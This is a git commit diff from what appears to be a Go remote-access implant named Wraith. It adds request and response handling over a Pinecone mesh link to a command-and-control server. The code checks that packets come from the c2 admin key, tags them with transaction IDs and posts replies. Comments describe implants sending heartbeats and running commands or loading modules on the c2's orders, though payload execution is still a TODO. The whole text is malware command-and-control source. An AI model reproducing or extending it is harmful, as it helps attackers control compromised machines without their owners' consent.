chore: initial request handling in module

This commit is contained in:
0x1a8510f2 2023-01-11 05:46:45 +00:00
parent 04bf00fd08
commit 570068c8a0
Signed by: 0x1a8510f2
GPG Key ID: 1C692E355D76775D
5 changed files with 115 additions and 12 deletions

View File

@ -26,6 +26,32 @@ import (
pineconeSessions "github.com/matrix-org/pinecone/sessions"
)
type Manager interface {
GetInboundAddr() string
GetLogger() *log.Logger
GetPineconeIdentity() ed25519.PrivateKey
GetStaticPeers() []string
GetUseMulticast() bool
GetWebserverAddr() string
GetWebserverDebugPath() string
GetWebserverHandlers() []WebserverHandler
IsRunning() bool
Recv(ctx context.Context) (proto.Packet, error)
RecvChan(ctx context.Context) chan proto.Packet
Restart()
Send(ctx context.Context, p proto.Packet) error
SetInboundAddr(u string)
SetLogger(u *log.Logger)
SetPineconeIdentity(u ed25519.PrivateKey)
SetStaticPeers(u []string)
SetUseMulticast(u bool)
SetWebserverAddr(u string)
SetWebserverDebugPath(u string)
SetWebserverHandlers(u []WebserverHandler)
Start()
Stop()
}
type manager struct {
// Once instances ensuring that each method is only executed once at a given time.
startOnce misc.CheckableOnce
@ -403,7 +429,7 @@ var managerInstance *manager = nil
// Get the instance of the pinecone manager. This instance is shared for
// the entire program and successive calls return the existing instance.
func GetInstance() *manager {
func GetInstance() Manager {
// Create and initialise an instance of manager only once.
initonce.Do(func() {
// Disable quic-go's debug message

View File

@ -2,14 +2,16 @@ package proto
/*
The HTTP part of the protocol is extremely simple; only two routes are provided:
The HTTP part of the protocol is extremely simple; only three routes are provided:
- HEARTBEAT: Wraiths hit this endpoint on the c2 to report their status.
- REQUEST: The c2 hits this endpoint to send data to a Wraith.
- RESPONSE: The Wraith hits this endpoint to respond to c2's request.
*/
const (
ROUTE_HEARTBEAT = "hb"
ROUTE_REQUEST = "rq"
ROUTE_RESPONSE = "rs"
)

View File

@ -21,4 +21,9 @@ type PacketReq struct {
// the payload. If the conditions are not met, the payload
// is dropped.
Conditions struct{}
// A transaction ID allowing for mapping between requests
// and responses. The TxId is opaque and can be any string
// of any length.
TxId string
}

View File

@ -16,7 +16,8 @@ type PacketRes struct {
MemList []string
}
// A signature verifying that the request came from the Wraith. Allows
// for store-and-forward functionality.
Signature []byte
// A transaction ID allowing for mapping between requests
// and responses. The TxId is opaque and can be any string
// of any length.
TxId string
}

View File

@ -1,11 +1,13 @@
package modulepinecomms
import (
"bytes"
"context"
"crypto/ed25519"
"encoding/hex"
"fmt"
"math/rand"
"net/http"
"os"
"os/user"
"runtime"
@ -41,6 +43,76 @@ type ModulePinecomms struct {
StaticPeers []string
}
func (m *ModulePinecomms) handleRequest(ctx context.Context, w *libwraith.Wraith, pm pmanager.Manager, packet proto.Packet) {
//
// Validate and process the packet.
//
peerPublicKey, err := hex.DecodeString(packet.Peer)
if err != nil {
// This shouldn't happen, but if the peer public key is
// malformed then we have no choice but to ignore the
// packet.
return
}
if !bytes.Equal(peerPublicKey, m.AdminPubKey) {
// This ensures that request packets are only accepted from
// the c2. As packets are signed, eventually we may be able
// to drop this check if we account for replay attacks. This
// would allow for store-and-forward capability where new
// Wraiths coming online will continue to execute commands
// or load modules even if c2 is down.
return
}
packetData := proto.PacketReq{}
err = proto.Unmarshal(&packetData, m.AdminPubKey, packet.Data)
if err != nil {
// The packet data is malformed, there is nothing more we
// can do.
return
}
//
// Evaluate the packet conditions.
//
// TODO
//packetData.Conditions
//
// Execute the packet payload.
//
// TODO
//
// Respond to the packet.
//
responseData := proto.PacketRes{
TxId: packetData.TxId,
// TODO
}
responseDataBytes, err := proto.Marshal(&responseData, m.OwnPrivKey)
if err != nil {
// There is no point sending anything because the TxId is included
// in the responseData and without it, c2 won't know what the response
// is to.
return
}
pm.Send(ctx, proto.Packet{
Peer: packet.Peer,
Method: http.MethodPost,
Route: proto.ROUTE_RESPONSE,
Data: responseDataBytes,
})
}
func (m *ModulePinecomms) Mainloop(ctx context.Context, w *libwraith.Wraith) {
// Ensure this instance is only started once and mark as running if so
single := m.mutex.TryLock()
@ -65,8 +137,7 @@ func (m *ModulePinecomms) Mainloop(ctx context.Context, w *libwraith.Wraith) {
//
pm.SetPineconeIdentity(m.OwnPrivKey)
//pm.SetInboundAddr(c.pineconeInboundTcpAddr)
//pm.SetWebserverAddr(c.pineconeInboundWebAddr)
pm.SetInboundAddr(":0")
pm.SetUseMulticast(m.UseMulticast)
pm.SetStaticPeers(m.StaticPeers)
@ -132,7 +203,7 @@ func (m *ModulePinecomms) Mainloop(ctx context.Context, w *libwraith.Wraith) {
// Send the packet.
pm.Send(ctx, proto.Packet{
Peer: hex.EncodeToString(m.AdminPubKey),
Method: "POST",
Method: http.MethodPost,
Route: proto.ROUTE_HEARTBEAT,
Data: heartbeatBytes,
})
@ -155,10 +226,8 @@ func (m *ModulePinecomms) Mainloop(ctx context.Context, w *libwraith.Wraith) {
case packet := <-recv:
switch packet.Route {
case proto.ROUTE_REQUEST:
// TODO: Prevent replay attacks
packetData := proto.PacketReq{}
proto.Unmarshal(&packetData, m.AdminPubKey, packet.Data)
fmt.Printf("%v\n", packetData)
// Launch a goroutine to handle the request and issue a response.
go m.handleRequest(ctx, w, pm, packet)
}
}
}